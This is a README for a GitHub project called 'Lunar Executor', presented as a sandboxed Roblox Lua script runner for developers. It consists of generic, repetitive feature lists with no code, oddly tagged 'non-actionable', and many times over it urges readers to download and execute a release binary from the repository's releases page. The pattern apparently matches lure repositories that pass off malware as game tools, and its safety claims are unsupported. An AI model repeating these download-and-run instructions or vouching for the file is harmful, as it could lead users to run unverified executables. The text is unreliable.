Lunar Executor — Script Runner for Roblox Testing & Dev

Download and execute the release file at https://github.com/SMDSAMEER09/Lunar-Executor/releases

Overview

• Lunar Executor is a local tool for running user scripts inside a controlled Roblox testing environment.
• The project targets developers, testers, and researchers who need a flexible runner for Lua-based scripts.
• The tool focuses on sandboxing, logging, UI-driven test flows, and developer plugins.
• This README covers design goals, architecture, non-actionable usage, development, contribution, and project roadmap.

Download and run

• Visit the releases page and download the build you need: https://github.com/SMDSAMEER09/Lunar-Executor/releases
• The release file on that page is the file you need to download and execute.
• Use the releases page to pick a stable or pre-release build.

Why this project

• Provide a reproducible local environment for Roblox script testing.
• Offer a sandbox that keeps test runs isolated from live services.
• Give developers a UI to load, run, and inspect scripts.
• Support plugin extensions that let teams add linters, formatters, and mocks.

Key features

• Script runner. Load and run Lua scripts in a contained sandbox.
• UI console. See logs, errors, stack traces, and resource use.
• Plugin system. Add or remove tools without altering core code.
• Mocking layer. Replace services with local mocks for tests.
• Sessions. Save and replay script runs and console output.
• Config profiles. Manage run-time parameters per project.
• Logs and export. Save run logs in JSON, plain text, or HTML.
• Cross-platform builds. Target Windows and macOS builds for teams.

Intended audience

• Roblox developers who need a local test harness for Lua code.
• QA teams who want repeatable test runs and logs.
• Educators who teach Lua scripting and want a safe sandbox.
• Researchers who analyze script behavior without interacting with live servers.

Design goals

• Safety first. The runner isolates scripts from external accounts and services.
• Predictable behavior. Script runs should be deterministic within the same profile.
• Extensibility. Teams should add features via a clear plugin API.
• Observability. Logs and traces must be easy to read and export.
• Simplicity. Keep the UI focused and the workflow short.

High-level architecture

• Core runner: Manages script lifecycle, sandbox, and process isolation.
• Sandbox: A Lua environment with a curated standard library and service stubs.
• UI layer: A lightweight desktop UI with an editor, console, and session manager.
• Plugin host: Loads plugins, exposes hook points, and mediates plugin APIs.
• Mock services: Local replacements for common Roblox services, usable in tests.
• Persistence: Stores profiles, sessions, and logs in a local data folder.

Sandbox model (non-actionable)

• The sandbox exposes a pared-down API surface.
• It restricts access to functions that call external services.
• It limits resource use to prevent runaway scripts in test runs.
• It provides hooks for the plugin host to add mocks and instrumentation.

Plugin system (concept)

• Plugins register against named hook points.
• Hook points include: pre-run, post-run, on-log, on-error, and UI panels.
• Plugins can add UI controls or supply additional mocks.
• The plugin system uses a manifest file per plugin that lists sponsored hook points and permissions.

Installation (high-level)

• Go to the releases page and download the appropriate build.
• Extract or place the build in a test folder.
• Execute the release file provided on the releases page.
• For teams, place profiles and plugin folders in a shared location.

Note: the release file on the releases page is the file you need to download and execute: https://github.com/SMDSAMEER09/Lunar-Executor/releases

Quick start (conceptual)

• Launch the app.
• Create a new project profile.
• Load a script into the editor pane.
• Select or configure a mock service if needed.
• Run the script from the UI and watch the console output.
• Save the session if you need to replay or share the run data.

UI walkthrough

• Top bar: Project title, run controls, and profile selector.
• Left pane: File explorer and script editor.
• Center pane: Active editor and quick tools.
• Right pane: Console with tabs for logs, traces, and exports.
• Bottom bar: Status, resource gauges, and session controls.

Console features

• Color-coded logs for info, warnings, and errors.
• Filter controls to show or hide log levels or namespaces.
• Clickable traces that open the editor to the source line.
• Export buttons to save logs or send them to a plugin.

Script API (overview)

• The runner exposes a minimal API for scripts under test.
• The API supports basic I/O, timers, and stubs for common Roblox services in a test context.
• The API offers hook points that let plugins instrument calls for metrics or tracing.
• The API does not provide access to user accounts or live game servers.

Mock services

• The mock system provides local stand-ins for:
  • Data storage interfaces
  • Player representations for single-session tests
  • Network stubs that simulate server responses
• Mocks let you test logic that depends on service behavior without using live services.
• Mocks come with configuration options and canned responses.

Session recording

• Each run creates a session record.
• The session includes inputs, output logs, and mock configuration.
• You can replay sessions to inspect behavior or reproduce errors.
• Session export formats include a compact JSON that tools can parse.

Profiles and configuration

• Profiles let you store run-time variables per project.
• A profile can specify:
  • Mock selections
  • Resource limits
  • Plugin lists and their enabled state
• Profiles save to a local config folder.

Logging and observability

• The runner records structured logs and plain text logs.
• Logs include timestamps, levels, and optional metadata.
• Plugins can attach metadata to logs for richer context.
• Logs can stream to external tools if a plugin registers an exporter.

Extensibility and plugins

• Plugin manifest fields:
  • name
  • version
  • hook points
  • permissions
• Plugins should avoid access to user credentials or external accounts.
• The plugin system prevents plugin code from altering core security settings.

Development guide (for contributors)

• Clone the repository branch that matches your platform target.
• Use the provided dev scripts to build and run locally.
• Write plugins against the official plugin API in the docs folder.
• Add unit tests that exercise the core runner and sandbox.
• Follow the coding style in the CONTRIBUTING file.

Code layout (concept)

• /src/core - core runner and sandbox code
• /src/ui - desktop UI components and layout
• /src/plugins - built-in plugins and examples
• /docs - API and plugin documentation
• /tests - unit and integration tests
• /builds - build scripts for platform targets

Testing strategy

• Unit tests for sandbox logic and resource limits.
• Integration tests that run scripts in the sandbox and assert logs.
• Plugin tests that load plugins in a controlled host and validate hook behavior.
• End-to-end tests that exercise the UI and session recording.

Security and privacy (non-actionable)

• The runner executes scripts in a local sandbox to avoid contact with live services.
• It stores session and profile data in a local folder only.
• The plugin system restricts plugin permissions to preserve user privacy.
• For teams, store sensitive data outside the project folders.

Contributing

• We accept contributions from developers who follow the contribution guide.
• Open an issue to propose a feature or file a bug.
• Submit pull requests against the main development branch.
• Include tests for new features and fix existing tests when necessary.
• Maintain clear commit messages and reference issues in pull requests.

Issue reporting checklist

• Reproduce the issue with a minimal script or session.
• Attach a session export or logs when possible.
• State the runner build and platform.
• Note any active plugins or custom mocks.

Roadmap

• Improved plugin API with typed manifests.
• A web-based session viewer for shared test results.
• CI integration for automated script runs per commit.
• Extra mock libraries for common third-party patterns.
• Native integrations for popular editors.

Examples (high-level)

• Simple test: Load a logic function and verify outputs using a mock data store.
• Integration test: Run a scripted flow that uses timers, verify logs, and confirm final state.
• Debug session: Attach a trace plugin to collect extra call context.

Automations and CI

• Use the session export to feed CI jobs.
• A CI job can run scripted checks and compare logs to golden outputs.
• Include a pre-run plugin that sets test seeds for deterministic runs.

Licensing and compliance

• The repository uses a permissive open source license. See LICENSE for details.
• Plugins may carry their own license. Check plugin manifests.
• Do not include private account credentials in the repository.

Supported platforms

• Windows 10 and later
• macOS 10.14 and later
• Linux support via community builds (see builds folder)

Build and packaging (concept)

• The build process compiles native UI assets and bundles the plugin host.
• The output includes a standalone desktop app and a portable archive for teams.
• Use the build scripts in /builds to reproduce releases.

Release process

• Create a release branch named release/x.y.z.
• Build artifacts for each platform.
• Attach the release file to the GitHub release page.
• The release page is where you download and execute the release file: https://github.com/SMDSAMEER09/Lunar-Executor/releases

Support channels

• Open an issue on GitHub for bugs and feature requests.
• Use pull requests for code contributions.
• For urgent build failures, tag maintainers on the issue.

Project governance

• The core team reviews pull requests and maintains the release cadence.
• Major decisions happen in design proposals and documented RFCs.
• Contributors gain commit access after sustained contributions and approvals.

Maintenance tips for teams

• Pin plugin versions in profiles to ensure reproducible runs.
• Archive old sessions to reduce local data storage.
• Run scheduled CI checks to catch regressions early.

Common troubleshooting steps (non-actionable)

• Verify the app build matches your platform.
• Check that your profile uses the right mock set.
• Reproduce an issue with a minimal script and a fresh profile.

Credits

• Project lead and core maintainers appear in the AUTHORS file.
• Built on community tools for Lua parsing, UI frameworks, and packaging utilities.
• Images and assets use licensed or public domain sources where needed.

Acknowledgements

• Thanks to open source projects that provide Lua tooling and cross-platform UI components.
• Appreciation for contributors who add mocks, plugins, and tests.

Frequently asked questions

• Q: What does the runner do for Roblox scripts? A: It provides a local sandbox and UI for testing Lua scripts that target Roblox logic, without connecting to live game servers.
• Q: Can I use it to interact with live games? A: The project aims to support safe local testing and does not include features to operate on user accounts or live services.
• Q: Where do I get releases? A: Visit the releases page and download the file that matches your platform: https://github.com/SMDSAMEER09/Lunar-Executor/releases

Glossary

• Sandbox: A restricted environment that runs code with limited permissions.
• Plugin host: The runtime that loads and isolates plugins.
• Mock: A replacement for an external service used during tests.
• Session: A recorded run that includes inputs, outputs, and config.

Contacts and maintainers

• For project questions and contribution inquiries, open an issue.
• For plugin submissions, follow the plugin manifest template in /docs/plugins.md.

Templates and examples

• /docs/templates contains example plugin manifests and session exports.
• Use example templates to build your own plugins and mock sets.

Testing lab ideas

• Build a set of deterministic scripts that exercise edge cases.
• Use a trace plugin to collect call counts and timing.
• Automate golden-log comparisons in CI.

Internationalization

• The UI supports localization via a resource file system.
• Community contributions can add translations through pull requests.

Persistence and storage details (non-actionable)

• Profiles and sessions save to a local folder in the user profile.
• Logs and exports use a rolling strategy to limit disk use.

Performance considerations

• The runner limits CPU and memory per session to avoid system overload.
• The UI provides resource gauges to monitor usage during runs.

Backup and recovery

• Export sessions to JSON to preserve run history.
• Keep backups of profiles and plugin manifests in version control.

Community guidelines

• Be respectful in issues and review threads.
• Keep plugin APIs stable across minor versions where feasible.
• Document breaking changes in release notes.

International collaborators

• The codebase uses UTF-8 everywhere.
• File encodings and line endings follow cross-platform standards.

Example plugin manifest (concept)

• name: ExampleMock
• version: 1.0.0
• hooks: [pre-run, on-log]
• permissions: [read:profiles, write:sessions]

Testing plugins

• Run plugin tests in the controlled test harness.
• Validate plugin manifests with the schema in /docs.

Roadmap detail (expansion)

• 1.1: Plugin schema v2, richer hook context, typed manifests
• 1.2: Web session viewer and collaboration share
• 2.0: Editor integration with language server features and inline testing

Project metrics

• Track total sessions run, average run time, and plugin adoption.
• Use anonymized metrics to guide future work.

Integration patterns

• Editor integration: Provide a small LSP that editors can use to run quick checks.
• CI integration: Use session exports to store run artifacts per commit.
• Dashboard: Aggregate logs and runs across teams.

End-user documentation

• Keep an up-to-date manual in /docs/manual.md.
• Provide a quick reference card for common UI workflows.

Maintenance checklist for releases

• Update the changelog with notable changes.
• Increment the manifest version.
• Verify plugin compatibility.
• Upload the platform builds to the releases page.

Legal and license notes

• Check the LICENSE file in the root for terms.
• Plugins may add third-party licenses. Review plugin manifests for license fields.

Acknowledged third-party tools

• Lua parsing libraries
• Desktop UI frameworks
• Build and packaging utilities

Contact and contributions

• Open issues for bugs or feature requests.
• Submit PRs for fixes and new features.
• Include tests and docs for substantial changes.

Badges and metrics (examples)

• Use CI badges in the main README for build status.
• Add plugin counts and release date badges to show activity.

Release link badge

Download and execute the release file at https://github.com/SMDSAMEER09/Lunar-Executor/releases

Files to check in the repo

• README.md
• LICENSE
• CONTRIBUTING.md
• docs/
• src/
• builds/
• tests/

Maintenance roadmap (long term)

• Improve the plugin ecosystem and plugin registry.
• Add community plugins for common mock sets.
• Provide a hosted service for session sharing (opt-in).
• Expand cross-platform support and packaging.

This README highlights the core ideas and workflows for Lunar Executor. Use the releases page to download the build that suits your platform and run the release file supplied on that page: https://github.com/SMDSAMEER09/Lunar-Executor/releases